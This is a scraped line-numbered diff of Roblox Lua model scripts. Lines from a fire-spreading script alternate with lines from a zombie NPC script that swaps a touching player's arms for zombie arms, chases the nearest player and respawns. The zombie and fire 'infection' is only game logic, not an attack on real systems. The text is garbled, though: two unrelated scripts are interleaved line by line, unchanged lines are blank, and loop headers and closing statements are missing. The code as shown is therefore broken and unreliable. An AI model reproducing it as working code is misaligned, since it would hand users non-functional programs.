	script.Parent:Clone().Parent = part
1173+
						if larm~=nil then
1174-
	
1174+
							larm:remove()
1175-
		elseif check ~= nil then
1175+
						end
1176-
	check.Size = check.Size + 1
1176+
						if rarm~=nil then
1177-
	check.Heat = check.Heat  +1
1177+
							rarm:remove()
1178
						end
1179
						local zee=script.Parent.Parent:findFirstChild("zarm")
1180
						if zee~=nil then
1181
							local zlarm=zee:clone()
1182-
script.Parent.Parent.Touched:connect(Spread)
1182+
							local zrarm=zee:clone()
1183
							if zlarm~=nil then
1184
1185
							local rot=CFrame.new(0, 0, 0, 0, 0, 1, 0, 1, 0, -1, 0, 0)
1186-
Part53.Parent = Model0
1186+
								zlarm.CFrame=h.Parent.Torso.CFrame * CFrame.new(Vector3.new(-1.5,0.5,-0.5)) * rot
1187-
Part53.CFrame = CFrame.new(156, 23.4000168, 209.5, 0, 0, -1, 0, 1, -0, 1, 0, -0)
1187+
								zrarm.CFrame=h.Parent.Torso.CFrame * CFrame.new(Vector3.new(1.5,0.5,-0.5)) * rot
1188-
Part53.Orientation = Vector3.new(0, -90, 0)
1188+
								zlarm.Parent=h.Parent
1189-
Part53.Position = Vector3.new(156, 23.4000168, 209.5)
1189+
								zrarm.Parent=h.Parent
1190-
Part53.Rotation = Vector3.new(0, -90, 0)
1190+
								zlarm:makeJoints()
1191-
Part53.Color = Color3.new(0.0509804, 0.411765, 0.67451)
1191+
								zrarm:makeJoints()
1192-
Part53.Size = Vector3.new(59, 6, 2)
1192+
								zlarm.Anchored=false
1193-
Part53.Anchored = true
1193+
								zrarm.Anchored=false
1194-
Part53.BottomSurface = Enum.SurfaceType.Smooth
1194+
								wait(0.1)
1195-
Part53.BrickColor = BrickColor.new("Bright blue")
1195+
								h.Parent.Head.Color=zee.Color
1196-
Part53.TopSurface = Enum.SurfaceType.Smooth
1196+
							else print("no zee"); return end
1197-
Part53.brickColor = BrickColor.new("Bright blue")
1197+
						end
1198-
Fire54.Parent = Part53
1198+
						wait(1)
1199-
Fire54.Color = Color3.new(1, 0.72549, 0)
1199+
						cantouch=1
1200-
Fire54.Enabled = false
1200+
					end
1201-
Fire54.Size = 30
1201+
				end
1202-
Fire54.Heat = 25
1202+
1203-
Fire54.SecondaryColor = Color3.new(1, 0, 0)
1203+
1204-
Fire54.size = 30
1204+
1205-
Script55.Name = "Spread"
1205+
1206-
Script55.Parent = Fire54
1206+
1207-
table.insert(cors,sandbox(Script55,function()
1207+
1208-
function Spread(part)
1208+
Part52.Name = "zarm"
1209-
	check = part:findFirstChild("Fire")
1209+
Part52.Parent = Model42
1210-
		if check == nil then 
1210+
Part52.CFrame = CFrame.new(201.091461, 5.09995508, 245.98645, -1.00000072, 0, 0, 0, 1, 0, 0, 0, -1.00000072)
1211-
	script.Parent:Clone().Parent = part
1211+
Part52.Orientation = Vector3.new(0, 180, 0)
1212-
	
1212+
Part52.Position = Vector3.new(201.091461, 5.09995508, 245.98645)
1213-
		elseif check ~= nil then
1213+
Part52.Rotation = Vector3.new(-180, 0, -180)
1214-
	check.Size = check.Size + 1
1214+
Part52.Color = Color3.new(0.631373, 0.768628, 0.54902)
1215-
	check.Heat = check.Heat  +1
1215+
Part52.Size = Vector3.new(2, 1, 1)
1216
Part52.BottomSurface = Enum.SurfaceType.Smooth
1217
Part52.BrickColor = BrickColor.new("Medium green")
1218
Part52.TopSurface = Enum.SurfaceType.Smooth
1219
Part52.brickColor = BrickColor.new("Medium green")
1220-
script.Parent.Parent.Touched:connect(Spread)
1220+
Part52.FormFactor = Enum.FormFactor.Symmetric
1221
Part52.formFactor = Enum.FormFactor.Symmetric
1222
Script53.Parent = Part52
1223-
Part56.Parent = Model0
1223+
table.insert(cors,sandbox(Script53,function()
1224-
Part56.CFrame = CFrame.new(175.503906, 25.1905346, 205.999878, -1.64166579e-07, -5.11109374e-06, -1, 3.66922905e-06, 1, -5.11109465e-06, 1, -3.66922995e-06, -1.64147821e-07)
1224+
wait(1)
1225-
Part56.Orientation = Vector3.new(0, -90, 0)
1225+
owner=script.Parent.Parent.Name
1226-
Part56.Position = Vector3.new(175.503906, 25.1905346, 205.999878)
1226+
1227-
Part56.Rotation = Vector3.new(0, -90, 0)
1227+
function onTouched(part)
1228-
Part56.Color = Color3.new(0.388235, 0.372549, 0.384314)
1228+
	if part.Parent ~= nil then
1229-
Part56.Size = Vector3.new(52, 2.4000001, 37)
1229+
		local h = part.Parent:findFirstChild("Humanoid")
1230-
Part56.Anchored = true
1230+
			if h~=nil then
1231-
Part56.BottomSurface = Enum.SurfaceType.Smooth
1231+
				if cantouch~=0 then
1232-
Part56.BrickColor = BrickColor.new("Dark stone grey")
1232+
					if h.Parent.Name~=owner then
1233-
Part56.TopSurface = Enum.SurfaceType.Smooth
1233+
						
1234-
Part56.brickColor = BrickColor.new("Dark stone grey")
1234+
						if h.Parent:findFirstChild("zarm")~=nil then return end
1235-
Fire57.Parent = Part56
1235+
1236-
Fire57.Color = Color3.new(1, 0.745098, 0)
1236+
						cantouch=0
1237-
Fire57.Enabled = false
1237+
1238-
Fire57.Size = 30
1238+
						local larm=h.Parent:findFirstChild("Left Arm")
1239-
Fire57.Heat = 25
1239+
						local rarm=h.Parent:findFirstChild("Right Arm")
1240-
Fire57.SecondaryColor = Color3.new(1, 0, 0)
1240+
						
1241-
Fire57.size = 30
1241+
						if larm~=nil then
1242-
Script58.Parent = Fire57
1242+
							larm:remove()
1243
						end
1244-
function Spread(part)
1244+
						if rarm~=nil then
1245-
	check = part:findFirstChild("Fire")
1245+
							rarm:remove()
1246-
		if check == nil then 
1246+
						end
1247-
	script.Parent:Clone().Parent = part
1247+
						local zee=script.Parent.Parent:findFirstChild("zarm")
1248-
	
1248+
						if zee~=nil then
1249-
		elseif check ~= nil then
1249+
							local zlarm=zee:clone()
1250-
	check.Size = check.Size + 1
1250+
							local zrarm=zee:clone()
1251-
	check.Heat = check.Heat  +1
1251+
							if zlarm~=nil then
1252
1253
							local rot=CFrame.new(0, 0, 0, 0, 0, 1, 0, 1, 0, -1, 0, 0)
1254
								zlarm.CFrame=h.Parent.Torso.CFrame * CFrame.new(Vector3.new(-1.5,0.5,-0.5)) * rot
1255
								zrarm.CFrame=h.Parent.Torso.CFrame * CFrame.new(Vector3.new(1.5,0.5,-0.5)) * rot
1256-
script.Parent.Parent.Touched:connect(Spread)
1256+
								zlarm.Parent=h.Parent
1257
								zrarm.Parent=h.Parent
1258
								zlarm:makeJoints()
1259
								zrarm:makeJoints()
1260-
Part59.Parent = Model0
1260+
								zlarm.Anchored=false
1261-
Part59.CFrame = CFrame.new(166.5, 13.1999941, 235.5, 0, 0, -1, 0, 1, -0, 1, 0, -0)
1261+
								zrarm.Anchored=false
1262-
Part59.Orientation = Vector3.new(0, -90, 0)
1262+
								wait(0.1)
1263-
Part59.Position = Vector3.new(166.5, 13.1999941, 235.5)
1263+
								h.Parent.Head.Color=zee.Color
1264-
Part59.Rotation = Vector3.new(0, -90, 0)
1264+
							else print("no zee"); return end
1265-
Part59.Color = Color3.new(0.388235, 0.372549, 0.384314)
1265+
						end
1266-
Part59.Size = Vector3.new(7, 2.4000001, 19)
1266+
						wait(1)
1267-
Part59.Anchored = true
1267+
						cantouch=1
1268-
Part59.BottomSurface = Enum.SurfaceType.Smooth
1268+
					end
1269-
Part59.BrickColor = BrickColor.new("Dark stone grey")
1269+
				end
1270
			end
1271-
Part59.brickColor = BrickColor.new("Dark stone grey")
1271+
1272-
Fire60.Parent = Part59
1272+
1273-
Fire60.Color = Color3.new(1, 0.745098, 0)
1273+
1274-
Fire60.Enabled = false
1274+
1275-
Fire60.Size = 30
1275+
1276-
Fire60.Heat = 25
1276+
ObjectValue54.Name = "IsNZ"
1277-
Fire60.SecondaryColor = Color3.new(1, 0, 0)
1277+
ObjectValue54.Parent = Model42
1278-
Fire60.size = 30
1278+
IntValue55.Name = "Mode"
1279-
Script61.Parent = Fire60
1279+
IntValue55.Parent = Model42
1280-
table.insert(cors,sandbox(Script61,function()
1280+
Script56.Parent = Model42
1281-
function Spread(part)
1281+
table.insert(cors,sandbox(Script56,function()
1282-
	check = part:findFirstChild("Fire")
1282+
local larm = script.Parent:FindFirstChild("Left Arm")
1283-
		if check == nil then 
1283+
local rarm = script.Parent:FindFirstChild("Right Arm")
1284-
	script.Parent:Clone().Parent = part
1284+
1285-
	
1285+
function findNearestTorso(pos)
1286-
		elseif check ~= nil then
1286+
	local list = game.Workspace:children()
1287-
	check.Size = check.Size + 1
1287+
	local torso = nil
1288-
	check.Heat = check.Heat  +1
1288+
	local dist = 1000
1289
	local temp = nil
1290
	local human = nil
1291
	local temp2 = nil
1292
	for x = 1, #list do
1293-
script.Parent.Parent.Touched:connect(Spread)
1293+
		temp2 = list[x]
1294
		if (temp2.className == "Model") and (temp2 ~= script.Parent) then
1295
			temp = temp2:findFirstChild("Right Arm")
1296
			human = temp2:findFirstChild("Humanoid")
1297-
Part62.Parent = Model0
1297+
			if (temp ~= nil) and (human ~= nil) and (human.Health > 0) then
1298-
Part62.CFrame = CFrame.new(177.5, 15.5999861, 235.5, 0, 0, -1, 0, 1, -0, 1, 0, -0)
1298+
				if (temp.Position - pos).magnitude < dist then
1299-
Part62.Orientation = Vector3.new(0, -90, 0)
1299+
					torso = temp
1300-
Part62.Position = Vector3.new(177.5, 15.5999861, 235.5)
1300+
					dist = (temp.Position - pos).magnitude
1301-
Part62.Rotation = Vector3.new(0, -90, 0)
1301+
				end
1302-
Part62.Color = Color3.new(0.388235, 0.372549, 0.384314)
1302+
1303-
Part62.Velocity = Vector3.new(-1.92531509e-19, -0.0124181155, -1.07341464e-19)
1303+
1304-
Part62.Size = Vector3.new(7, 2.4000001, 3)
1304+
1305-
Part62.Anchored = true
1305+
	return torso
1306-
Part62.BottomSurface = Enum.SurfaceType.Smooth
1306+
1307-
Part62.BrickColor = BrickColor.new("Dark stone grey")
1307+
1308-
Part62.RotVelocity = Vector3.new(1.00410485e-20, 6.26219062e-21, 1.04267748e-20)
1308+
1309-
Part62.TopSurface = Enum.SurfaceType.Smooth
1309+
1310-
Part62.brickColor = BrickColor.new("Dark stone grey")
1310+
1311-
Fire63.Parent = Part62
1311+
1312-
Fire63.Color = Color3.new(1, 0.72549, 0)
1312+
	wait(math.random(1,5))
1313-
Fire63.Enabled = false
1313+
	local target = findNearestTorso(script.Parent.Torso.Position)
1314-
Fire63.Size = 30
1314+
	if target ~= nil then
1315-
Fire63.Heat = 25
1315+
		script.Parent.Humanoid:MoveTo(target.Position, target)
1316-
Fire63.SecondaryColor = Color3.new(1, 0, 0)
1316+
1317-
Fire63.size = 30
1317+
1318-
Script64.Name = "Spread"
1318+
1319-
Script64.Parent = Fire63
1319+
1320-
table.insert(cors,sandbox(Script64,function()
1320+
1321-
function Spread(part)
1321+
Script57.Name = "Health"
1322-
	check = part:findFirstChild("Fire")
1322+
Script57.Parent = Model42
1323-
		if check == nil then 
1323+
table.insert(cors,sandbox(Script57,function()
1324-
	script.Parent:Clone().Parent = part
1324+
function waitForChild(parent, childName)
1325-
	
1325+
	while true do
1326-
		elseif check ~= nil then
1326+
		local child = parent:findFirstChild(childName)
1327-
	check.Size = check.Size + 1
1327+
		if child then
1328-
	check.Heat = check.Heat  +1
1328+
1329
		end
1330
		parent.ChildAdded:wait()
1331
	end
1332
end
1333-
script.Parent.Parent.Touched:connect(Spread)
1333+
1334
-- declarations
1335
1336-
Part65.Parent = Model0
1336+
local Figure = script.Parent
1337-
Part65.CFrame = CFrame.new(174.501465, 13.2100639, 240, 1, 2.44249065e-15, -2.98023224e-08, -1.77635684e-15, 1, -1.77635684e-15, 2.98023224e-08, 8.8817842e-16, 1)
1337+
local Head = waitForChild(Figure, "Head")
1338-
Part65.Position = Vector3.new(174.501465, 13.2100639, 240)
1338+
local Humanoid = waitForChild(Figure, "Humanoid")
1339-
Part65.Color = Color3.new(0.0509804, 0.411765, 0.67451)
1339+
Humanoid.Health=500
1340-
Part65.Size = Vector3.new(39, 26.4000015, 2)
1340+
-- regeneration
1341-
Part65.Anchored = true
1341+
1342-
Part65.BrickColor = BrickColor.new("Bright blue")
1342+
	local s = wait(4)
1343-
Part65.TopSurface = Enum.SurfaceType.Smooth
1343+
	local health = Humanoid.Health
1344-
Part65.brickColor = BrickColor.new("Bright blue")
1344+
	if health > 0 and health < Humanoid.MaxHealth then
1345-
Fire66.Parent = Part65
1345+
		health = health + 0.08 * s * Humanoid.MaxHealth
1346-
Fire66.Color = Color3.new(1, 0.745098, 0)
1346+
		if health * 1.05 < Humanoid.MaxHealth then
1347-
Fire66.Enabled = false
1347+
			Humanoid.Health = health
1348-
Fire66.Size = 30
1348+
		else
1349-
Fire66.Heat = 25
1349+
			Humanoid.Health = Humanoid.MaxHealth
1350-
Fire66.SecondaryColor = Color3.new(1, 0, 0)
1350+
1351-
Fire66.size = 30
1351+
1352-
Script67.Parent = Fire66
1352+
1353-
table.insert(cors,sandbox(Script67,function()
1353+
1354-
function Spread(part)
1354+
1355-
	check = part:findFirstChild("Fire")
1355+
Script58.Name = "Respawn"
1356-
		if check == nil then 
1356+
Script58.Parent = Model42
1357-
	script.Parent:Clone().Parent = part
1357+
1358-
	
1358+
name="Humanoid"
1359-
		elseif check ~= nil then
1359+
1360-
	check.Size = check.Size + 1
1360+
robo=script.Parent:clone()
1361-
	check.Heat = check.Heat  +1
1361+
1362
while true do
1363
	wait(1)
1364
	if script.Parent.Humanoid.Health<1 then
1365
		robot=robo:clone()
1366-
script.Parent.Parent.Touched:connect(Spread)
1366+
		robot.Parent=script.Parent.Parent
1367
		robot:makeJoints()
1368
		script.Parent:remove()
1369
	end
1370-
Part68.Parent = Model0
1370+
1371-
Part68.CFrame = CFrame.new(183.5, 20.4000034, 235.5, 0, 0, -1, 0, 1, -0, 1, 0, -0)
1371+
1372-
Part68.Orientation = Vector3.new(0, -90, 0)
1372+
1373-
Part68.Position = Vector3.new(183.5, 20.4000034, 235.5)
1373+
1374-
Part68.Rotation = Vector3.new(0, -90, 0)
1374+
1375-
Part68.Color = Color3.new(0.388235, 0.372549, 0.384314)
1375+
1376-
Part68.Size = Vector3.new(7, 2.4000001, 3)
1376+
Part59.Name = "Spawn Location"
1377-
Part68.Anchored = true
1377+
Part59.Parent = Model41
1378
Part59.CFrame = CFrame.new(201.113556, 0.603015006, 247.491455, -1.00000024, 0, 0, 0, 1, 0, 0, 0, -1.00000024)
1379-
Part68.BrickColor = BrickColor.new("Dark stone grey")
1379+
Part59.Orientation = Vector3.new(0, 180, 0)
1380-
Part68.TopSurface = Enum.SurfaceType.Smooth
1380+
Part59.Position = Vector3.new(201.113556, 0.603015006, 247.491455)
1381-
Part68.brickColor = BrickColor.new("Dark stone grey")
1381+
Part59.Rotation = Vector3.new(-180, 0, -180)
1382-
Fire69.Parent = Part68
1382+
Part59.Color = Color3.new(0.631373, 0.768628, 0.54902)
1383-
Fire69.Color = Color3.new(1, 0.745098, 0)
1383+
Part59.Size = Vector3.new(6, 1.20000005, 6)
1384-
Fire69.Enabled = false
1384+
Part59.BottomSurface = Enum.SurfaceType.Weld
1385-
Fire69.Size = 30
1385+
Part59.BrickColor = BrickColor.new("Medium green")
1386-
Fire69.Heat = 25
1386+
1387-
Fire69.SecondaryColor = Color3.new(1, 0, 0)
1387+
Part59.brickColor = BrickColor.new("Medium green")
1388-
Fire69.size = 30
1388+
Decal60.Parent = Part59
1389-
Script70.Parent = Fire69
1389+
Decal60.Texture = "http://www.roblox.com/asset/?id=34541722"
1390-
table.insert(cors,sandbox(Script70,function()
1390+
Decal60.Face = Enum.NormalId.Top
1391-
function Spread(part)
1391+
Model61.Parent = Model0
1392-
	check = part:findFirstChild("Fire")
1392+
Model62.Name = "Zombie"
1393-
		if check == nil then 
1393+
Model62.Parent = Model61
1394-
	script.Parent:Clone().Parent = part
1394+
Model62.PrimaryPart = Part63
1395-
	
1395+
Part63.Name = "Head"
1396-
		elseif check ~= nil then
1396+
Part63.Parent = Model62
1397-
	check.Size = check.Size + 1
1397+
Part63.CFrame = CFrame.new(201.608551, 6.09995508, 235.513428, 0, 0, 1.00000072, 0, 1, 0, -1.00000072, 0, 0)
1398-
	check.Heat = check.Heat  +1
1398+
Part63.Orientation = Vector3.new(0, 90, 0)
1399
Part63.Position = Vector3.new(201.608551, 6.09995508, 235.513428)
1400
Part63.Rotation = Vector3.new(0, 90, 0)
1401
Part63.Color = Color3.new(0.631373, 0.768628, 0.54902)
1402
Part63.Size = Vector3.new(2, 1, 1)
1403-
script.Parent.Parent.Touched:connect(Spread)
1403+
Part63.BrickColor = BrickColor.new("Medium green")
1404
Part63.TopSurface = Enum.SurfaceType.Smooth
1405
Part63.brickColor = BrickColor.new("Medium green")
1406
Part63.FormFactor = Enum.FormFactor.Symmetric
1407-
Part71.Parent = Model0
1407+
Part63.formFactor = Enum.FormFactor.Symmetric
1408-
Part71.CFrame = CFrame.new(180.5, 18.0000076, 235.5, 0, 0, -1, 0, 1, -0, 1, 0, -0)
1408+
SpecialMesh64.Parent = Part63
1409-
Part71.Orientation = Vector3.new(0, -90, 0)
1409+
SpecialMesh64.Scale = Vector3.new(1.25, 1.25, 1.25)
1410-
Part71.Position = Vector3.new(180.5, 18.0000076, 235.5)
1410+
Decal65.Name = "face"
1411-
Part71.Rotation = Vector3.new(0, -90, 0)
1411+
Decal65.Parent = Part63
1412-
Part71.Color = Color3.new(0.388235, 0.372549, 0.384314)
1412+
Part66.Name = "Torso"
1413-
Part71.Size = Vector3.new(7, 2.4000001, 3)
1413+
Part66.Parent = Model62
1414-
Part71.Anchored = true
1414+
Part66.CFrame = CFrame.new(201.608551, 4.59995508, 235.513428, 0, 0, 1.00000024, 0, 1, 0, -1.00000024, 0, 0)
1415-
Part71.BottomSurface = Enum.SurfaceType.Smooth
1415+
Part66.Orientation = Vector3.new(0, 90, 0)
1416-
Part71.BrickColor = BrickColor.new("Dark stone grey")
1416+
Part66.Position = Vector3.new(201.608551, 4.59995508, 235.513428)
1417-
Part71.TopSurface = Enum.SurfaceType.Smooth
1417+
Part66.Rotation = Vector3.new(0, 90, 0)
1418-
Part71.brickColor = BrickColor.new("Dark stone grey")
1418+
Part66.Color = Color3.new(0.411765, 0.25098, 0.156863)
1419-
Fire72.Parent = Part71
1419+
Part66.Size = Vector3.new(2, 2, 1)
1420-
Fire72.Color = Color3.new(1, 0.745098, 0)
1420+
Part66.BrickColor = BrickColor.new("Reddish brown")
1421-
Fire72.Enabled = false
1421+
Part66.LeftParamA = 0
1422-
Fire72.Size = 30
1422+
Part66.LeftParamB = 0
1423-
Fire72.Heat = 25
1423+
Part66.LeftSurface = Enum.SurfaceType.Weld
1424-
Fire72.SecondaryColor = Color3.new(1, 0, 0)
1424+
Part66.RightParamA = 0
1425-
Fire72.size = 30
1425+
Part66.RightParamB = 0
1426-
Script73.Parent = Fire72
1426+
Part66.RightSurface = Enum.SurfaceType.Weld
1427
Part66.brickColor = BrickColor.new("Reddish brown")
1428-
function Spread(part)
1428+
Part66.FormFactor = Enum.FormFactor.Symmetric
1429-
	check = part:findFirstChild("Fire")
1429+
Part66.formFactor = Enum.FormFactor.Symmetric
1430-
		if check == nil then 
1430+
Part67.Name = "Left Leg"
1431-
	script.Parent:Clone().Parent = part
1431+
Part67.Parent = Model62
1432-
	
1432+
Part67.CFrame = CFrame.new(201.608551, 2.59995508, 236.013428, 0, 0, 1.00000072, 0, 1, 0, -1.00000072, 0, 0)
1433-
		elseif check ~= nil then
1433+
Part67.Orientation = Vector3.new(0, 90, 0)
1434-
	check.Size = check.Size + 1
1434+
Part67.Position = Vector3.new(201.608551, 2.59995508, 236.013428)
1435-
	check.Heat = check.Heat  +1
1435+
Part67.Rotation = Vector3.new(0, 90, 0)
1436
Part67.Color = Color3.new(0.411765, 0.25098, 0.156863)
1437
Part67.Size = Vector3.new(1, 2, 1)
1438
Part67.BottomSurface = Enum.SurfaceType.Smooth
1439
Part67.BrickColor = BrickColor.new("Reddish brown")
1440-
script.Parent.Parent.Touched:connect(Spread)
1440+
Part67.CanCollide = false
1441
Part67.brickColor = BrickColor.new("Reddish brown")
1442
Part67.FormFactor = Enum.FormFactor.Symmetric
1443
Part67.formFactor = Enum.FormFactor.Symmetric
1444-
Part74.Parent = Model0
1444+
Part68.Name = "Right Leg"
1445-
Part74.CFrame = CFrame.new(156, 12.5999861, 209.5, 0, 0, -1, 0, 1, -0, 1, 0, -0)
1445+
Part68.Parent = Model62
1446-
Part74.Orientation = Vector3.new(0, -90, 0)
1446+
Part68.CFrame = CFrame.new(201.608551, 2.59995508, 235.013428, 0, 0, 1.00000072, 0, 1, 0, -1.00000072, 0, 0)
1447-
Part74.Position = Vector3.new(156, 12.5999861, 209.5)
1447+
Part68.Orientation = Vector3.new(0, 90, 0)
1448-
Part74.Rotation = Vector3.new(0, -90, 0)
1448+
Part68.Position = Vector3.new(201.608551, 2.59995508, 235.013428)
1449-
Part74.Color = Color3.new(0.0509804, 0.411765, 0.67451)
1449+
Part68.Rotation = Vector3.new(0, 90, 0)
1450-
Part74.Size = Vector3.new(59, 8.40000057, 2)
1450+
Part68.Color = Color3.new(0.411765, 0.25098, 0.156863)
1451-
Part74.Anchored = true
1451+
Part68.Size = Vector3.new(1, 2, 1)
1452-
Part74.BottomSurface = Enum.SurfaceType.Smooth
1452+
1453-
Part74.BrickColor = BrickColor.new("Bright blue")
1453+
Part68.BrickColor = BrickColor.new("Reddish brown")
1454-
Part74.TopSurface = Enum.SurfaceType.Smooth
1454+
Part68.CanCollide = false
1455-
Part74.brickColor = BrickColor.new("Bright blue")
1455+
Part68.brickColor = BrickColor.new("Reddish brown")
1456-
Fire75.Parent = Part74
1456+
Part68.FormFactor = Enum.FormFactor.Symmetric
1457-
Fire75.Color = Color3.new(1, 0.745098, 0)
1457+
Part68.formFactor = Enum.FormFactor.Symmetric
1458-
Fire75.Enabled = false
1458+
Humanoid69.Parent = Model62
1459-
Fire75.Size = 30
1459+
Humanoid69.LeftLeg = Part67
1460-
Fire75.Heat = 25
1460+
Humanoid69.NameOcclusion = Enum.NameOcclusion.NoOcclusion
1461-
Fire75.SecondaryColor = Color3.new(1, 0, 0)
1461+
Humanoid69.RightLeg = Part68
1462-
Fire75.size = 30
1462+
Humanoid69.Torso = Part66
1463-
Script76.Parent = Fire75
1463+
Part70.Name = "zarm"
1464
Part70.Parent = Model62
1465-
function Spread(part)
1465+
Part70.CFrame = CFrame.new(201.108551, 5.09995508, 237.013428, -1.00000072, 0, 0, 0, 1, 0, 0, 0, -1.00000072)
1466-
	check = part:findFirstChild("Fire")
1466+
Part70.Orientation = Vector3.new(0, 180, 0)
1467-
		if check == nil then 
1467+
Part70.Position = Vector3.new(201.108551, 5.09995508, 237.013428)
1468-
	script.Parent:Clone().Parent = part
1468+
Part70.Rotation = Vector3.new(-180, 0, -180)
1469-
	
1469+
Part70.Color = Color3.new(0.631373, 0.768628, 0.54902)
1470-
		elseif check ~= nil then
1470+
Part70.Size = Vector3.new(2, 1, 1)
1471-
	check.Size = check.Size + 1
1471+
Part70.BottomSurface = Enum.SurfaceType.Smooth
1472-
	check.Heat = check.Heat  +1
1472+
Part70.BrickColor = BrickColor.new("Medium green")
1473
Part70.TopSurface = Enum.SurfaceType.Smooth
1474
Part70.brickColor = BrickColor.new("Medium green")
1475
Part70.FormFactor = Enum.FormFactor.Symmetric
1476
Part70.formFactor = Enum.FormFactor.Symmetric
1477-
script.Parent.Parent.Touched:connect(Spread)
1477+
Script71.Parent = Part70
1478
table.insert(cors,sandbox(Script71,function()
1479
wait(1)
1480
owner=script.Parent.Parent.Name
1481-
Part77.Parent = Model0
1481+
1482-
Part77.CFrame = CFrame.new(186.5, 22.8000126, 235.5, 0, 0, -1, 0, 1, -0, 1, 0, -0)
1482+
function onTouched(part)
1483-
Part77.Orientation = Vector3.new(0, -90, 0)
1483+
	if part.Parent ~= nil then
1484-
Part77.Position = Vector3.new(186.5, 22.8000126, 235.5)
1484+
		local h = part.Parent:findFirstChild("Humanoid")
1485-
Part77.Rotation = Vector3.new(0, -90, 0)
1485+
			if h~=nil then
1486-
Part77.Color = Color3.new(0.388235, 0.372549, 0.384314)
1486+
				if cantouch~=0 then
1487-
Part77.Size = Vector3.new(7, 2.4000001, 3)
1487+
					if h.Parent.Name~=owner then
1488-
Part77.Anchored = true
1488+
						
1489-
Part77.BottomSurface = Enum.SurfaceType.Smooth
1489+
						if h.Parent:findFirstChild("zarm")~=nil then return end
1490-
Part77.BrickColor = BrickColor.new("Dark stone grey")
1490+
1491-
Part77.TopSurface = Enum.SurfaceType.Smooth
1491+
						cantouch=0
1492-
Part77.brickColor = BrickColor.new("Dark stone grey")
1492+
1493-
Fire78.Parent = Part77
1493+
						local larm=h.Parent:findFirstChild("Left Arm")
1494-
Fire78.Color = Color3.new(1, 0.72549, 0)
1494+
						local rarm=h.Parent:findFirstChild("Right Arm")
1495-
Fire78.Enabled = false
1495+
						
1496-
Fire78.Size = 30
1496+
						if larm~=nil then
1497-
Fire78.Heat = 25
1497+
							larm:remove()
1498-
Fire78.SecondaryColor = Color3.new(1, 0, 0)
1498+
						end
1499-
Fire78.size = 30
1499+
						if rarm~=nil then
1500-
Script79.Name = "Spread"
1500+
							rarm:remove()
1501-
Script79.Parent = Fire78
1501+
						end
1502-
table.insert(cors,sandbox(Script79,function()
1502+
						local zee=script.Parent.Parent:findFirstChild("zarm")
1503-
function Spread(part)
1503+
						if zee~=nil then
1504-
	check = part:findFirstChild("Fire")
1504+
							local zlarm=zee:clone()
1505-
		if check == nil then 
1505+
							local zrarm=zee:clone()
1506-
	script.Parent:Clone().Parent = part
1506+
							if zlarm~=nil then
1507-
	
1507+
1508-
		elseif check ~= nil then
1508+
							local rot=CFrame.new(0, 0, 0, 0, 0, 1, 0, 1, 0, -1, 0, 0)
1509-
	check.Size = check.Size + 1
1509+
								zlarm.CFrame=h.Parent.Torso.CFrame * CFrame.new(Vector3.new(-1.5,0.5,-0.5)) * rot
1510-
	check.Heat = check.Heat  +1
1510+
								zrarm.CFrame=h.Parent.Torso.CFrame * CFrame.new(Vector3.new(1.5,0.5,-0.5)) * rot
1511
								zlarm.Parent=h.Parent
1512
								zrarm.Parent=h.Parent
1513
								zlarm:makeJoints()
1514
								zrarm:makeJoints()
1515-
script.Parent.Parent.Touched:connect(Spread)
1515+
								zlarm.Anchored=false
1516
								zrarm.Anchored=false
1517
								wait(0.1)
1518-
Part80.Parent = Model0
1518+
								h.Parent.Head.Color=zee.Color
1519-
Part80.CFrame = CFrame.new(191.001465, 25.2004204, 235.500488, -7.85068914e-06, 4.41171096e-06, -1, 0.000187844664, 1, 4.41023576e-06, 1, -0.000187844635, -7.8515186e-06)
1519+
							else print("no zee"); return end
1520-
Part80.Orientation = Vector3.new(0, -90, 0.00999999978)
1520+
						end
1521-
Part80.Position = Vector3.new(191.001465, 25.2004204, 235.500488)
1521+
						wait(1)
1522-
Part80.Rotation = Vector3.new(-0.00999999978, -90, 0)
1522+
						cantouch=1
1523-
Part80.Color = Color3.new(0.388235, 0.372549, 0.384314)
1523+
					end
1524-
Part80.Size = Vector3.new(7, 2.4000001, 6)
1524+
				end
1525-
Part80.Anchored = true
1525+
1526-
Part80.BottomSurface = Enum.SurfaceType.Smooth
1526+
1527-
Part80.BrickColor = BrickColor.new("Dark stone grey")
1527+
1528-
Part80.TopSurface = Enum.SurfaceType.Smooth
1528+
1529-
Part80.brickColor = BrickColor.new("Dark stone grey")
1529+
1530-
Fire81.Parent = Part80
1530+
1531-
Fire81.Color = Color3.new(1, 0.72549, 0)
1531+
Part72.Name = "zarm"
1532-
Fire81.Enabled = false
1532+
Part72.Parent = Model62
1533-
Fire81.Size = 30
1533+
Part72.CFrame = CFrame.new(201.108551, 5.09995508, 234.013428, -1.00000072, 0, 0, 0, 1, 0, 0, 0, -1.00000072)
1534-
Fire81.Heat = 25
1534+
Part72.Orientation = Vector3.new(0, 180, 0)
1535-
Fire81.SecondaryColor = Color3.new(1, 0, 0)
1535+
Part72.Position = Vector3.new(201.108551, 5.09995508, 234.013428)
1536-
Fire81.size = 30
1536+
Part72.Rotation = Vector3.new(-180, 0, -180)
1537-
Script82.Name = "Spread"
1537+
Part72.Color = Color3.new(0.631373, 0.768628, 0.54902)
1538-
Script82.Parent = Fire81
1538+
Part72.Size = Vector3.new(2, 1, 1)
1539-
table.insert(cors,sandbox(Script82,function()
1539+
Part72.BottomSurface = Enum.SurfaceType.Smooth
1540-
function Spread(part)
1540+
Part72.BrickColor = BrickColor.new("Medium green")
1541-
	check = part:findFirstChild("Fire")
1541+
Part72.TopSurface = Enum.SurfaceType.Smooth
1542-
		if check == nil then 
1542+
Part72.brickColor = BrickColor.new("Medium green")
1543-
	script.Parent:Clone().Parent = part
1543+
Part72.FormFactor = Enum.FormFactor.Symmetric
1544-
	
1544+
Part72.formFactor = Enum.FormFactor.Symmetric
1545-
		elseif check ~= nil then
1545+
Script73.Parent = Part72
1546-
	check.Size = check.Size + 1
1546+
1547-
	check.Heat = check.Heat  +1
1547+
wait(1)
1548
owner=script.Parent.Parent.Name
1549
1550
function onTouched(part)
1551
	if part.Parent ~= nil then
1552-
script.Parent.Parent.Touched:connect(Spread)
1552+
		local h = part.Parent:findFirstChild("Humanoid")
1553
			if h~=nil then
1554
				if cantouch~=0 then
1555-
Part83.Parent = Model0
1555+
					if h.Parent.Name~=owner then
1556-
Part83.CFrame = CFrame.new(165.502441, 19.1899071, 193.060425, 0.000475763896, 4.12712916e-06, -0.999999881, 3.15124936e-07, 1, 4.12727923e-06, 0.999999881, -3.17088535e-07, 0.000475763896)
1556+
						
1557-
Part83.Orientation = Vector3.new(0, -89.9700012, 0)
1557+
